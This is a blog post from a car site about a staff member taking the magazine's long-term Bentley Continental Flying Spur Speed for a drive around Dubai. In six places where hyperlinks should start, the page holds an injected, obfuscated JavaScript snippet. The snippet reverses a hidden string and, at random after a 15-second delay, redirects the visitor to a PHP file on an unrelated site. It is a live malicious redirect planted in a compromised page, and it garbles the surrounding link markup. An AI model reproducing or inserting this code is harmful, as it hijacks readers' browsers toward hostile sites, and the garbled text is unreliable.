Having spent three months cruising in opulence and watching the hard-earned cash in his wallet disappear in a sea of weighty fuel bills, the time finally came for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/author/phillcrankandpiston-com/” target=”_blank”>Phill Tromans to park the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-bentley-continental-flying-spur-speed/” target=”_blank”>Fast Fleet Bentley up at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston” target=”_blank”>crankandpiston.com oval office for the last time.
This left the rest of the team in a pickle: which of us would adopt the Bentley for the next couple of weeks? The prospect of impossibly fluffy car mats and meticulously crafted leather seats appealed to all of us. Clearly finding an amicable and fair solution was going to be tricky.
So, having slipped the key off Phill’s desk while nobody was looking and made a beeline for the door, I was positively brimming to put our new(ish) 2010 MY toy through its paces. Inspired by a 322kph top speed hidden in the engine bay, the drag strip seemed a fine choice.
A kindly worded “we’d really rather you didn’t” from the chaps in the Bentley PR office ultimately meant the drag was out. But that still left me with plenty of locales in and around Dubai to go for a cruise, first making sure that suspension and drive modes set in Extremely Comfortable, Raybans poised on the bridge of the nose, a casually draped arm hanging through the driver’s side window, and my best impressions of aloofness shining through like never before.
Turns out this wasn’t the way to go either. Comfort and luxury are beyond question in the Flying Spur, the beautifully designed stalks and various dials making everything from tuning the radio to turning down the air conditioning both a breeze and a charming reminder of my UK homeland. I was, however, distracted by the six-speed paddle shift gearbox my fingers kept grazing, the heavy breathing of the 6.0-litre W12 under the bonnet, and the prospect of a (gentle) blast in our new 2525kg daily commuter
Thanks to not really paying attention to where I was going (and having long-since started to ignore the slightly archaic satnav system), the road soon opened up, allowing me to give the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-new-recruit-bentley-continental-flying-spur-speed/” target=”_blank”>Flying Spur a bootful. Coerced back into the seats rather than thrown – despite the 4.8 second 0-100kph time – there’s still enough punch from the 600bhp unit to encourage an attempt at quick-fire gearchanges, even if the position of the paddles (which can really only be changed using your fingertips) makes this a little difficult.
There’s plenty of heft at the steering, keeping you in check with the balance of the car and the grip of the front tyres. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-bentley-continental-flying-spur-service/” target=”_blank”>No signs so far of the judder that sent the Bentley to the Al Habtoor Service centre last month either.
At speed the weight of the brute is hard to ignore, but there’s plenty of reminder when the anchors are thrown out, all weight suddenly transferring to the nose and the rear wheels getting a little light in the process. For a luxury saloon as large as the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/bentley/” target=”_blank”>Bentley, I suppose that’s only fair. A quick adjustment to the seat massagers and all is right with the world. Time to pull over for a quick bite to eat methinks.
There’s a message on my mobile: have I seen the Bentley key? Ah…
